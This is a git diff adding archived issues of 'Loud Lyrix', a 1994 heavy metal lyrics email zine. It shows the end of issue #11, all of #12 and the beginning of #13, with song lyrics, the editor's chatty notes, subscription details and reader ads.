metal +Spreading the message to everyone here +Come let yourself go + + On through the mist and the madness + We are trying to get the message to you + Metal Militia + Metal Militia + Metal Militia + +***************************** T H E E N D ******************************* +Typed By: Gregory Smith + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +****************** H E L L O R H I G H W A T E R ******************** + by A C / D C + Album: "Fly on the Wall" + + +Everybody you don't have to choose it +You don't have to prove it +It's only rock 'n' roll +Mama don' told me +Papa don' scold me +Superstition, black cat in the cradle +Dancing on the table +Don't you snake on me +Mama don' told me +Daddy don' scold me, told me, show me +You know that he told me + +[CHORUS:] +Come hell or HIGH WATER +Come hell or HIGH WATER +Come hell or HIGH WATER +Come hell or HIGH WATER + +Blood money, lyin' through your back teeth +Fightin' on the main street +Breathe your last breath on me +Mama don' told me +Poor boy get home +Hot lovin' trigger-happy feelin' +Touchin' up and teasin' +You know it so bad +Mama don' told me +Papa don' scold me, rock 'n' rolled me + +[REPEAT CHORUS (twice)] + +Come hell, come hell, come hell + +**************************** T H E E N D ******************************** +Typed by: Lyrics archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +**************************** G R I D L O C K ****************************** + by A N T H R A X + Album: "Persistence of Time" + + +It's a long time, a long time comin' +You tell me how you think i should be +It's so easy +You tell me what people want from me +Well i'll just be myself +It's the only way i can be but you don't see +You accuse, abuse integrity +You don't know one damn thing about me +Not one damn thing +Build me up and then you tear me down +Curse my name when i'm not around +And it's a +Long time, long time +A long time comin' +A long time, long time +A long time comin', a vicious circle +In your face i'll come runnin' +Try and stop me +A long time, much too long +And i'm comin' +Try and stop me +I like to keep my friends around me close +But my enemies closer +Friends accept me for just who i am +Not someone i'm supposed to be +Or something they expect for free +Do you know me? +I live with myself, i know my place +Wipe that bullshit smile off your face +The show is over +Build me up and then you tear me down +Curse my name when i'm not around +And it's a +Long time, long time +A long time comin' +A long time, long time +A long time comin', a vicious circle +In your face i'll come runnin' +Try and stop me +A long time, much too long +And i'm comin' +Try and stop me +You and me are gonna take a walk +I think it's time we had a little talk +I said, you and me are gonna take a walk +And we're gonna do more than walk and talk +Let me see how you think i should be +You think it's so easy? +Put yourself on trial everyday +Against a hung jury +You don't know a thing about me +You believe the hype you see +But in my heart god knows i'll be true +To what my life will bring +And it's a +Long time, long time +A long time comin' +A long time, long time +A long time comin', a vicious circle +In your face i'll come runnin' +Try and stop me +A long time, much too long +And i'm comin' +Try and stop me + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Ok...... hope you enjoyed our last Loud Lyrix from Terranet, remember, +next week we may not have a Loud Lyrix, so don't flood my mail with +"WHERE'S MY LYRIX!!!" mail... ok? ... oh yeah, I just wanted to tell you +guys, just because I can't mail the 'zine from here, don't mean you can't +mail me... all administrivia still goes to lyrix@terranet.cts.com, so +don't change your routine for sending in lyrix, and subscribing yet..... + +C-ya! + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +End -- Loud Lyrix #11 + + diff --git a/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-12 b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-12 new file mode 100644 index 00000000..b54e67d7 --- /dev/null +++ b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-12 @@ -0,0 +1,680 @@ + + + _ ____ _ _ _____ _ __ _______ _______ __ + | | / __ \| | | | __ \ | | \ \ / / __ \|_ _\ \ / / + | | | | | | | | | | | | | | \ \_/ /| |__) | | | \ V / + | | | | | | | | | | | | | | \ / | _ / | | > < + | |___| |__| | |__| | |__| | | |____| | | | \ \ _| |_ / . \ + |______\____/ \____/|_____/ |______|_| |_| \_\_____/_/ \_\ + + + Loud Lyrix, June 21, 1994, Issue # 12 + + +Addresses +--------- +Administrivia: lyrix@terranet.cts.com +Listserv: listserv@planet.org + +Editor-in-Chief: Death Incarnate (Gino Filicetti) +Publisher: Death Incarnate (Gino Filicetti) +Distributor: Death Incarnate (Gino Filicetti) & Planet Communications +Mailing Program: LISTSERV at planet.org (Planet Communications) + +! NOTE ! +~~~~~~~~ +All mail sent to the 'zine's list address will be +forwarded to the editor at , so please refrain +from sending anything to the list address, as this only 'causes us to +waste valuable resources. Thank you. + + +HOW TO SUBSCRIBE +~~~~~~~~~~~~~~~~ +You may join Loud Lyrix at any time by sending a "SUBSCRIBE LYRIX" command +to listserv@planet.org. Please note that this command must NOT be sent to +the list address , but to the mail server which handles +this mailing list. + + +DISCLAIMER +---------- +Loud Lyrix is not responsible for accuracy of the lyrics, song titles, +album titles, or specific performers of the songs contained herein. All +songs are property of the bands that perform them and/or their record +labels. The lyrics contained herein cannot be used for any purpose other +than "private study, scholarship, or research." If anyone makes use of a +reprinted song for purposes in excess of "fair use," that user may be +liable for copyright infringement. Loud Lyrix is not responsible for any +misrepresentation of the performers of any songs or their respective +lyrics. We reserve the right to reprint inaccurate lyrics if the song's +lyrics were not readily available to the typist. And just remember that +this publication is for the sheer fun and pleasure of discovering the +lyrics of some songs, and we are not out to rip off any bands or put any +words in their mouths. + + +DESCRIPTION +----------- +Loud Lyrix is a weekly publication dedicated to the spread of heavy metal +lyrics throughout the world. Subscriptions are available at no cost +electronically. Five to Ten songs are published every Tuesday. Along with +the lyrics, a section of the zine is devoted to reactions of subscribers to +previously posted songs. All subscribers are urged to send in lyrics from +their own favorite bands for publication. All requests, submissions or +comments must be sent to the above address. + + +OUR PHILOSOPHY +-------------- +We here at Loud Lyrix believe that the true meaning of a song can only make +itself known through the song's lyrics. It is for this reason that Loud +Lyrix exists, we are committed to delivering all the best lyrics of heavy +metal songs to Cyber-bangers around the globe. Long live metal! + +>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + +Loud Lyrix, #12, 6/21/94 +------------------------ + +!!!!!!!!!!!!!!!!!!!!!!!!! W E ' R E B A C K !!!!!!!!!!!!!!!!!!!!!!!!!!! + +Yes people, it's true!! This is NOT a mirage, Loud Lyrix is finally back in +distribution after a LONG two week sabbatical... anyways, TONS has happened +during this time. + +For one thing, I have finished school, after writing three exams, and I'm +now working at Canada's Wonderland, ooops! I mean Paramount Canada's +Wonderland. (It's a big theme park located just north of Toronto for those +of you that don't know, which is probably about 90% of you!) Well, as you +can probably imagine, I'm happy as hell that skule's over... I thought +that I'd finally have a little time to rest, and catch up on some sleep +and get rid of the bags under my eyes, but NO!! It's even fucking worse +than before!!! Holy shit, I'm half dead. + +Anyways, let's get to the big thing, our NEW listserv!! Many thanks go out +to Joe Baptista of Planet Communications for taking me on outta the +goodness of his heart (!!!) Anyways, this makes things MUCH easier for me, +more than any of you can possibly know! Hopefully by now, Joe has gotten +around to sending everyone Loud Lyrix's revamped FAQ. The FAQ has all the +information that you'll need to know about the listserv, how to subscribe, +and how to sign off, make GOOD USE OF IT! And one last thing, remember, +don't send anything to the list address, lyrix@planet.org, 'cause it'll +just bounce that mail back to the administrative address, +lyrix@terranet.cts.com, so DON'T WASTE RESOURCES......thank you. + +Ok dudes!! Ton's has happened since Issue #11 on June 7th, I went to see +Pantera, Sepultura and Biohazard, and had a fucking WICKED time!! But I +unfortunately DON'T have the time right now to type out the whole story +for you dudes... it's currently 11:09 on Tuesday the 21st so I'm in a huge +rush to get the issue done, but don't despair, I will get around to writing +an essay for this concert, plus the Metallica/Suicidal/Danzig concert from +the 4th, AND the Scorpions concert this Saturday the 25th too!! Whoa! What +a line up, you dudes are in for a treat. + +Ok, the line up for this week is pretty typical, the last song is a +reader's submission, the rest are my own picks (as if you guyz can't tell +by now eh?). Yes, it's true, we have finally finished King Diamond's epic +"The Eye" album. Chapter 10 is the final installment in the story, I +really hope you dudes liked it all, but I urge ALL of you to grab this CD, +and listen to it, nothing compares to the actually music with the lyrics, +it's the only way to get the full effect. Well, the next concept album is +King Diamond's "Them". This album is pretty awesome, although not as good +as "The Eye", but still, King Diamond just can't go wrong with his stories! +This album however is MUCH better with the music, there are lot's of +little special F/X that they have on the album that really make it cool. +I'd recommend getting this album as well. + +Well people, that's just about everything, hopefully next week I'll be +able to write those essays I promised, but I seriously doubt it, I'm +pretty fucking packed with work and other shit, it's UNREAL, anyways, I +WILL WRITE THEM!! By issue #25 I'll have 'em done for sure! :) + +CONTENTS +-------- +Advertisements +Song 1: "The Curse" ("The Eye", Chapter 10) by King Diamond +Song 2: "Prologue" ("Them", Chapter i) by King Diamond +Song 3: "Out From The Asylum" ("Them, Chapter 1) by King Diamond +Song 4: "Soul-Crusher" by White Zombie +Song 5: "Breaking The Law" by Judas Priest +Song 6: "Belly of the Beast" by Anthrax +Song 7: "The Immigrant Song" by Led Zeppelin +Song 8: "God of Thunder" by Kiss +Song 9: "Computer God" by Black Sabbath +Song 10: "Triumph of Death" by Hellhammer + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +********************** A D V E R T I S E M E N T S ************************ + +From: "Marcel Hubregtse" +To: lyrix@terranet.cts.com +Subject: Desperately Seeking + +============================================================================ + +Desperately seeking: lyrics to Venom's "Black Metal" album, and the lyrics + to Detente's "Recognize No Authority" album and finally + the lyrics to Mercyful Fate's "Melissa" album. + +============================================================================ + +Date: Mon, 30 May 94 12:59:02 +From: bjarneh@elvebakken.vgs.no (Bjarne Henning Kvaale) +To: lyrix@terranet.cts.com +Subject: A 'zine + +We hereby announce that a new 'zine(on paper) are under production. It will +be dedicated to Norse Darkness and Vikings, but we will also have place for +regular "affairs". We will bring interviews, bios etc with Black Metal +bands. This will be a professional 'zine, not some kind of Hardcore-layout! +If there, among you headbangers, exists any Black Metal bands, please take +contact with one of the below addresses. We have not entitled it yet, but +we will keep in touch with you. + +Addresses are: + +Bjarne Henning Kvaale Amund Jordal | +Wesselsgate 12 Jordalen | +0165 Oslo 5717 Gudvangen __|__ +Norway Norway | + +email address: +bjarneh@elvebakken.vgs.no (Bjarne Henning Kvaale) + +[Well, looks like shit happens, and poor ol' Hellcrusher has lost his +email address, but he is still reachable through snail mail, he asked me +to put in this ad as a "final request", poor dude, it's murder being +without email! -- Editor] + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Chapter 10, "The Eye", by King Diamond + +*************************** T H E C U R S E ***************************** + + +I know what you're thinking, I can see through your brain +I know what you're doing, even though I'm far away + +The power I get from the chain is mine +Only I can use it +The power I get from the chain is mine +Only I can use it + +It was only yesterday, thunder rolling by, breaking up the sky +And the rain was pouring down +Pounding on my brain, driving me insane +I was drinking wine again, oh yeah blame it on the wine + +The curse of "The Eye", it will take you back in time +If you look at "The Eye", it will take you back in time + +The curse of "The Eye", it will take you back in time +If you look at "The Eye", it will take you back in time + +I know what you're thinking, I can see through your brain +I know what you're doing, even though I'm far away + +I know there's a bad side to the power of the chain +I know I'll be going back in time once again + +It was on the 1st of May, thunder rolling by, breaking up the sky +And the rain was pouring down +The Inquisition came, I felt the pain +I had to relive it all in just one day + +The curse of "The Eye", it will take you back in time +If you look at "The Eye", it will take you back in time + +The power I get from the chain is mine +Only I can use it. + +**************************** T H E E N D ******************************** +Typed by: Death Incarnate + +[And so ends one of the best concept albums I've ever heard in my life, in +my un-humble opinion, Kind Diamond is THE master of story telling... soon +to come will be another concept album of his, entitled "Them". See ya. And +what do you know, here it is!! I've decided not to wait, and to start +posting the songs to "Them" right away. -- Editor] + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[Ok dudes, here it is, another King Diamond concept album, "Them" is a +story about a little boy, who's name is surprisingly "King Diamond"!! :) +No, I'm serious about that, ok, and he has a sister, "Missy" and a mother, +and they live in an old house that is supposedly haunted by "THEM" and +apparently "Grandma" is in league with "Them", and they just have one HELL +of a time when she comes to visit from the Asylum!! Enjoy. -- Editor] + +Chapter i, "Them", by King Diamond + +**************************** P R O L O G U E ****************************** + by K I N G D I A M O N D + Album: "Them" + +----- + | + | o whom it may concern. + + I am scared to death. 9 years ago they finally let me out, and I was +just beginning to feel better. I am not Myself any longer. I guess You +could not even recognize My face if You saw Me now. That phone call 2 hours +ago has torn Me apart. It was Grandma. She invited Me back to the old +house. I do not want to go back, but I must. Maybe You will understand My +fear if I tell You what happened during My childhood. + + 18 years ago I was living with My mother and My sister Missy in +Grandma's old house. I had been told that Grandma was away on a long +vacation, and that she would soon return. She did. + + I have later found out that she was actually being released from that +same asylum. "She's insane", they said, when she kept on babbling about +"THEM". I still cannot make up My mind about who really did separate +Grandpa's head from his shoulders. You see, "THEY" were always so nice to +Me. + + Anyway, time is short and I must leave for the old house. So here is +what happened 18 years ago. And in case we never see each other again, at +least You will know why. + + I bet we are going to have tea. + + K.D. 3-12-87 + +********************* T O B E C O N T I N U E D *********************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Chapter 1, "Them", by King Diamond + +***************** O U T F R O M T H E A S Y L U M ******************* + by K I N G D I A M O N D + Album: "Them" + + +Look, the old bitch is back - yeah, +finally we'll get some company again +the attic room has been +locked up for far too long - just like the +old bitch herself - she's on time +though - why that silly wheelchair? +Oh she's pretending as always - but +she does make a good cup of tea. + +"Oh My God she's here. Missy, listen +to what Mother says: Now You be +good to Grandma; and remember +she's been away on a long vacation. +That goes for You too King. And stop +playing that thing. Answer the door" + +********************* T O B E C O N T I N U E D *********************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************************ S O U L - C R U S H E R ************************** + by W H I T E Z O M B I E + Album: "La Sexorcisto: Devil Music Vol 1" + + +Leatherneck'n down the street like "Hey I'm joyrid'n" like a bad dog +Come on "Burn in!" +Leatherneck'n down the street like "Hey I'm joyrid'n" like a bad dog +Come on "Burn in!" +Demon got my soul and I said "Drive!" come on +Speed kills, but I'm alive yeah! +In my Durango 95 yeah! +Casino on the edge she move like a twister gravity crank +Solo my sista, come on +She said "Take me away" away away shout! +I'm deadly on the eyes an astro-spyder, baby +A powertripp'n, no - no - no - maybe, come on +Angel trumpets again yeah! +Motherfucker scream "Horrorshow" +Time a diamond ass right on my line come on +She said "Take me away" away away yeah! +Burning like fat in the fire the smell of red +Red groovie screamed mega-flow +A stalking ground without prey +A flash of superstition whimpering like a crippled animal +Dogs of the soul-crusher +Pulling closer like the blue steel jaws of hell +Digg'n in my heart I find a human generator +Duke of N.Y. see yeah! Eliminator all you need is love +Yeah! like a cool and crazy freak machine +She twanged off and out like I never seen +I gonna take her down, down, down watch out! Shack'n out in my skin +Flesh 'n' waves they begin +I going out like a holiday (shout it!) +Then my mind generate a weepy young "D" to terminate +Takin' a trip I said, "Straight to hell" (shout it!) +Real country dark the street +Hog the road, swamp the beat +She gonna know just what I mean, yeah! +Trip back on the serpent move z-man slowly bang the groove +Takin' a trip, "A real kick" to hell (shout it!) +Think'n that when she die, spirit go up to the sky +Devil come a stepp'n, brainiac a look'n below +Yeah! (shout it!) + +**************************** T H E E N D ******************************** +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +****************** B R E A K I N G T H E L A W ************************ + by J U D A S P R I E S T + Album: "British Steel" + + +There I was completely wasting, out of work and down +all inside it's so frustrating as I drift from town to town +feel as though nobody cares if I live or die +so I might as well begin to put some action in my life + +Breaking the law, breaking the law +Breaking the law, breaking the law +Breaking the law, breaking the law +Breaking the law, breaking the law + +So much for the golden future, I can't even start +I've had every promise broken, there's anger in my heart +you don't know what it's like, you don't have a clue +if you did you'd find yourselves doing the same thing too + +Breaking the law, breaking the law +Breaking the law, breaking the law +Breaking the law, breaking the law +Breaking the law, breaking the law + +You don't know what it's like..... + +Breaking the law, breaking the law +Breaking the law, breaking the law +Breaking the law, breaking the law +Breaking the law, breaking the law + +Breaking the law...... + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +****************** B E L L Y O F T H E B E A S T ******************** + by A N T H R A X + Album: "Persistence of Time" + + +You walk this earth without a heart +You tear the innocent's soul apart +You shovel your conscience into the grave +You walk this earth without a heart +Your uniform couldn't be taken off +A tattoo burned into your flesh +Your mind, your voice +These are your instruments of death +How could you dare to be so bold +You only did as you were told +Marionettes dancing in time +To the apologetic lines +For all the monsters of our time +Who is evil, who is blind? +In the name of who you'll find +A city of souls dying for peace +Welcome to the belly of the beast +One mind, one voice +Welcome to the belly of the beast +Who hears, your voice? +Millions, never, never again +Madness, never, never again +Martyrs, dead that can't die +Monsters +Insanity, the normal state +The left hand a hammer, the right the stake +Driven so deep into the heart +It's killing love, it's killing faith +It's killing 'cause it's from the heart +What better way to demoralize +When your own children are your spies +The things you trust are not the same +Trust in death, trust in grief +Trust in hope is trust in pain +Who is evil, who is blind? +In the name of who you'll find +A city of souls dying for peace +Welcome to the belly of the beast +One mind, one voice +Welcome to the belly of the beast +Who hears, your voice? +Millions, never, never again +Madness, never, never again +Martyrs, dead that can't die +Monsters +Who is evil, who is blind? +In the name of who you'll find +You're not supposed to question faith +But how do you accept this fate? +Madness, tear the innocent's souls apart +Martyrs, shovel your conscience into the grave +Monsters +A city of souls dying for peace +Welcome to the belly of the beast +One mind, one voice +Welcome to the belly of the beast +Who hears, your voice? +This is the belly of the beast +And all the souls dying for peace +Inside the belly of the beast +Millions, never, never again +Madness, never, never again +Martyrs, dead that can't die +Monsters + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +********************** I M M I G R A N T S O N G ************************ + by LED ZEPPELIN + Album: "Led Zeppelin III" + + +Ah, ah, +We come from the land of the ice and snow, +>From the midnight sun where the hot springs blow. +The hammer of the gods +Will drive their ships to new lands, +To fight the horde, singing and crying: +Valhalla, I am coming! +On we sweep with threshing oar, +Our only goal will be the western shore. + +Ah, ah, +We come from the land of the ice and snow, +>From the midnight sun where the hot springs blow. +How soft your fields so green, +Can whisper tales of gore, +Of how we calmed the tides of war. +We are your overlords. +On we sweep with threshing oar, +Our only goal will be the western shore. + +So now you'd better stop and rebuild your ruins, +For peace and trust can win the day +Despite all your losing. + +***************************** T H E E N D ******************************* +Typed by: Dwight Cook + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +********************** G O D O F T H U N D E R ************************ + by K I S S + Album: "Destroyer" + + +You've got something about you +You've got something I need +Daughter of Aphrodite +Hear my words and take heed + +I was born on Olympus +To my father a son +I was raised by the demons +Trained to reign as the one + +God of thunder and rock and roll +The spell you're under +Will slowly rob you of your virgin soul + +I'm the lord of the wastelands +A modern day man of steel +I gather darkness to please me +And I command you to kneel +Before the + +God of thunder and rock and roll +The spell you're under +Will slowly rob you of your virgin soul + +I am the lord of the wastelands +A modern day man of steel +I gather darkness to please me +And I command thee to kneel +Before the + +God of thunder and rock and roll +The spell you're under +Will slowly rob you of your virgin soul + +****************************** T H E E N D ******************************* +Typed by: KISSARMY Members + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************************ C O M P U T E R G O D ************************** + by B L A C K S A B B A T H + Album: "Dehumanizer" + + +Waiting for the revolution +New clear vision - genocide +Computerize god - it's the new religion +Program the brain - not the heartbeat + +Onward all you crystal soldiers +Touch tomorrow - energize +Digital dreams +And you're the next correction +Man's a mistake so we'll fix it, yeah + +Take a look at your own reflection +Right before your eyes +It turns to steel + +Chorus: +There's another side of heaven +This way - to technical paradise +Find it on the other side +When the walls fall down + +Love is automatic pleasure +Virtual reality +Terminal hate - it's a calculation +Send in the child for connection + +Take a look at the toys around you +Right before your eyes +The toys are real + +Chorus + +Midnight confessions +Never heal the soul +What you believe is fantasy + +Your past is your future +Left behind +Lost in time +Will you surrender + +Waiting for the revolution +Program the brain +Not the heartbeat + +Deliver us to evil +Deny us of our faith +Robotic hearts bleed poison +On the world we populate + +Virtual existence +With a superhuman mind +The ultimate creation +Destroyer of mankind + +Termination of our youth +For we do not compute +No ! + +**************************** T H E E N D ******************************** +Typed by Martin Sabo + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************** T R I U M P H O F D E A T H ********************** + by H E L L H A M M E R + Album: "Apocalyptic Raids" + + +When you have been down in your grave...alive +Your mind decays and you're the coffin's slave +And when at midnight an uncanny bell tolls... +Terrible noises, the dark graveyard calls + +Limbs break through the dirt +Decay stinks like hell +Dark creatures in the fog +Crusted blood on the dead + +Triumph of death +Triumph of death + +Euronomous sends his souls +Buried by a horrible mistakes +You feel,you're eaten by worms +And the night's alive again + +Repeat verse I + +**************************** T H E E N D ******************************** +Typed by: Leonid Makarovsky + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Ok people, sorry about the huge delay in getting this issue out, but it's +all for the better, this 'zine will fucking ROCK on the listserv, no doubt +about it! + +BTW, just a couple of things to remember, all submissions and 'zine +related shit still goes to lyrix@terranet.cts.com and all personal mail to +death@terranet.cts.com... and check the FAQ or the header of the 'zine on +instructions on how to subscribe or sign off the 'zine. + +And people, I NEED some submissions, you dudes probably thought that I'd +died, but no, I'm still here, so send me all your shit, even reviews, and +stuff, SEND EVERYTHING, and we'll sort it out later, and don't forget, I +need the album name, song name, and band's name for every song.. ok! + +C-ya + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +End -- Loud Lyrix #12 + + diff --git a/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-13 b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-13 new file mode 100644 index 00000000..69d5e362 --- /dev/null +++ b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-13 @@ -0,0 +1,1292 @@ + + + _ _____ _ _ ___ _ _ _ ___ _ _ _ + ( ) ( _ )( ) ( )( _`\ ( ) ( ) ( )| _`\ (_)( ) ( ) + | | | ( ) || | | || | ) | | | `\`\_/'/'| (_) )| |`\`\/'/' + | | _ | | | || | | || | | ) | | _`\ /' | , / | | > < + | |_( )| (_) || (_) || |_) | | |_( )| | | |\ \ | | /'/\`\ + (____/'(_____)(_____)(____/' (____/'(_) (_) (_)(_)(_) (_) + + + Loud Lyrix, June 28, 1994, Issue # 13 + + +Addresses +--------- +Administrivia: lyrix@terranet.cts.com +Listserv: listserv@planet.org + +Editor-in-Chief: Death Incarnate (Gino Filicetti) +Publisher: Death Incarnate (Gino Filicetti) +Distributor: Death Incarnate (Gino Filicetti) & Planet Communications +Mailing Program: LISTSERV at planet.org (Planet Communications) + +! NOTE ! +~~~~~~~~ +All mail sent to the 'zine's list address will be +forwarded to the editor at , so please refrain +from sending anything to the list address, as this only 'causes us to +waste valuable resources. Thank you. + + +HOW TO SUBSCRIBE +~~~~~~~~~~~~~~~~ +You may join Loud Lyrix at any time by sending a "SUBSCRIBE LYRIX" command +to listserv@planet.org. Please note that this command must NOT be sent to +the list address , but to the mail server which handles +this mailing list. + + +DISCLAIMER +---------- +Loud Lyrix is not responsible for accuracy of the lyrics, song titles, +album titles, or specific performers of the songs contained herein. All +songs are property of the bands that perform them and/or their record +labels. The lyrics contained herein cannot be used for any purpose other +than "private study, scholarship, or research." If anyone makes use of a +reprinted song for purposes in excess of "fair use," that user may be +liable for copyright infringement. Loud Lyrix is not responsible for any +misrepresentation of the performers of any songs or their respective +lyrics. We reserve the right to reprint inaccurate lyrics if the song's +lyrics were not readily available to the typist. And just remember that +this publication is for the sheer fun and pleasure of discovering the +lyrics of some songs, and we are not out to rip off any bands or put any +words in their mouths. + + +DESCRIPTION +----------- +Loud Lyrix is a weekly publication dedicated to the spread of heavy metal +lyrics throughout the world. Subscriptions are available at no cost +electronically. Five to Ten songs are published every Tuesday. Along with +the lyrics, a section of the zine is devoted to reactions of subscribers to +previously posted songs. All subscribers are urged to send in lyrics from +their own favorite bands for publication. All requests, submissions or +comments must be sent to the above address. + + +OUR PHILOSOPHY +-------------- +We here at Loud Lyrix believe that the true meaning of a song can only make +itself known through the song's lyrics. It is for this reason that Loud +Lyrix exists, we are committed to delivering all the best lyrics of heavy +metal songs to Cyber-bangers around the globe. Long live metal! + +>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + +Issue #13 - 6/28/94 --> LISTSERV Celebration Semi-Mega Issue! +------------------------------------------------------------- + +Alright dudes!!!!!!! Here we are ONCE AGAIN!!! And we are finally back +with a fucking vengeance! Here is the LONG AWAITED 'LISTSERV Celebration +Semi-Mega Issue' !! And I'm telling you guys right now it's gonna be a +dousey! + +Anyways.. I've finally decided to type up my 'experiences' at the two +concerts I've been to see this month.. you guys should get a kick outta +'em... please excuse me for the Metallica show.. 'cause it was almost a +month ago, so it's not exactly fresh in my mind... anyways... these are by +no means a review of the shows, I'm just relating to you guys what +happened to me during the shows... hope you enjoy 'em!!! + +Ok dudes.. I got a major bone to pick, and it has to do with submissions.. +I NEED 'EM!!! How do you expect me to keep having a variety in this 'zine?? +If I don't get any submissions, you'll more than likely keep seein' the +same old bands in this 'zine... these are my favorite bands.. so when I +don't get any submissions I just pick them myself... that's why I MAJORLY +need lots and lots o' submissions.. you guys were getting great at sending +in submissions and shit... I was really happy with you all, but now, since +the two weeks that I had to take off, you have begun to slack off, and I +don't blame you one bit, but I need youse guys again... BADLY... I know you +don't want this 'zine to become monotonous, so send in those submissions, +just type up your favorite songs, or anything you wanna see in the 'zine... +I'd love to get other things too... other than just lyrics... like record +reviews, and concert reviews, and most importantly, a couple of comments on +some songs that have been posted... also, any other shit you wanna see in +the 'zine.. I'm willing to put anything 'metallic' in the 'zine.. just send +it to me, it's never useless sending anything to me, I have an open mind, +and I'll look at anything, just try it out, and if it involves a lot of +typing, then just give me a summary, and I'll tell you if I like the +idea.... anyways... let's get some variety in this mag... when I get the +next M.E.A.T. (Canada's Premier Metal Mag), I'll type up some of their +record reviews... ok? You see, I'm doing my bit, now it's your turn... just +think of something you can contribute to the 'zine, and send it to me, or a +summary, and I'll give you the ok, and print it up for you... just remember +this.. don't send me 100000 lines of text and crap and expect me to print +it up... I like short and concise things, but if the situation calls for +something really long, by all means, go ahead, if it's something good, I'll +put it in regardless. Anyways, that's it... SEND ME ALL THE SHIT YOU CAN +MUSTER!!! + +Ok, now... what's next? .. Oh yeah... Another thing I want all you dudes +to do now that we have a LISTSERV is to start spreading the word around on +Loud Lyrix.. ok? Just leave me a note, and I'll send you the NEW +advertisement for Loud Lyrix, and you can just go MENTAL posting it +EVERYWHERE you think is worthy to have such a high caliber document (!). +Anyways.. let's get this membership list past the 170 mark for ONCE! +Jeez... ok.. don't forget to ask for the advertisement. + +Another thing.. ton's of people have written me asking what the hell 'PGP' +is ??? Well, the rule of thumb is, if you don't know, don't worry about +the PGP key I send out, just let me say that it's an encryption program +that's used for the private transfer of sensitive information (!) +Anyways.. use it if you feel a need too.. I thought it'd be kewl to have a +PGP key for the 'zine... if you want more information on PGP, just use +FTP and connect to ftp.eff.org and look in the directory: +pub/Net_info/Tools/Crypto/PGP... ok? + +Some kewl news.. I just got word that Napalm Death and Entombed are gonna +come to Toronto.. I have no idea when, put that's what I heard, and I know +I'll be goin' for SURE!! What a fuckin' show THAT'LL be... I can't wait... +I just love Entombed, Napalm Death is ok, but good for a mosh +nevertheless... + +Hey guys.. I've been having this idea floating around in my head for the +past couple weeks.. I want to have a big, little survey in the 'zine in +the next couple of weeks... if I do have it, EVERYONE MUST PARTICIPATE!!!!! +It has to be a group effort, or it's nothing... I'll give you all three or +four weeks to get the results in to me.. and then print 'em up.... so look +for the survey in the next couple o' weeks.... + +Ok dudes.. I think that's it.. I HOPE!! It feels as if I've forgotten +something, but I can't remember, so never mind... hope you like the songs, +and ROCK ON BROTHERS AND SISTERS ! + +CONTENTS +-------- +Experiences with: Pantera/Sepultura/Biohazard Concert +Song 1: "Welcome Home" ("Them", Chapter 2) by King Diamond +Song 2: "Dirty Deeds Done Dirt Cheap" by AC/DC +Song 3: "Startin' Up a Posse" by Anthrax +Song 4: "Ram it Down" by Judas Priest +Song 5: "Great Expectations" by Kiss +Song 6: "Weekend Warrior" by Iron Maiden +Song 7: "Last Caress/Green Hell" by Metallica +Song 8: "So What" by Ministry +Song 9: 